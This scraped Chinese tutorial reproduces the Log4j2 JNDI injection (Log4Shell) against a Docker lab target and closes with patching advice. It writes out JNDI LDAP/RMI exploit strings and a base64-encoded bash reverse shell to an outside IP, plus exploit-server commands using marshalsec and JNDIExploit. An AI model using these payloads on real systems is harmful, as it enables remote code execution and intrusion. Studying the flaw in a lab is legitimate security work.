Apache Log4j2历史漏洞复现 | 您所在的位置:网站首页 › 阿帕奇log4j2漏洞看国产替代 › Apache Log4j2历史漏洞复现 |
Apache Log4j2简介
Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了 log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组 建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。 Apache Log4j2漏洞简介log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目 标服务器上执行任意代码。 漏洞影响范围和版本范围: Apache Struts2 Apache Solr Apache Druid Apache Flink srping-boot-strater-log4j2版本: Apache Log4j 2.0 ~ 2.15.0-rc1 漏洞复现一 docker搭建靶场环境 docker pull vulfocus/log4j2-rce-2021-12-09 docker run d-ti -p 28080:8080 vulfocus/log4j2-rce-2021-12-09![]() ![]() (2)对该域名进行URL编码。 http://171.16.1.106:8888/hello?payload=
使用burpsuite中Decoder模块进行URL编码。 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 171.16.1.105
得到反弹shell的EXP: ${jndi:ldap://1.15.132.67:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%2BJjE%3D}对EXP进行URL编码: %24%7Bjndi%3Aldap%3A%2F%2F1.15.132.67%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%252BJjE%253D%7D发送Payload请求: LDAP服务器接收到请求,并传输Payload: 成功得到shell: ![]() ![]() ![]() bash -i >& /dev/tcp/1.15.132.67/9999 0>&1 ava-runtime-exec转换: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvOTA5MCAwPiYx}| {base64,-d}|{bash,-i} 工具使用 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “command” -A address 得到反弹shell的EXP,返回浏览器发送! rmi://1.15.132.67:1099/n69nur ldap://1.15.132.67:1389/n69nur ![]() 编译恶意代码文件。 开启http服务。 启动LDAP服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://1.15.132.67:8000/#Exploit" 9999![]() ![]() 升级到最新版本 2.15.0-rc2 : https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 临时修补建议 设置JVM启动参数 -Dlog4j2.formatMsgNoLookups=true 。尽量使用JDK 版本大于11.0.1、8u191、7u201、6u211,需要注意的是,即使是使用了 JDK 高版 本也不能完全保证安全,依然存在本地绕过的情况。限制不必要的业务访问外网。采用 rasp 对 lookup 的调用进行阻断。 |
CopyRight 2018-2019 实验室设备网 版权所有 |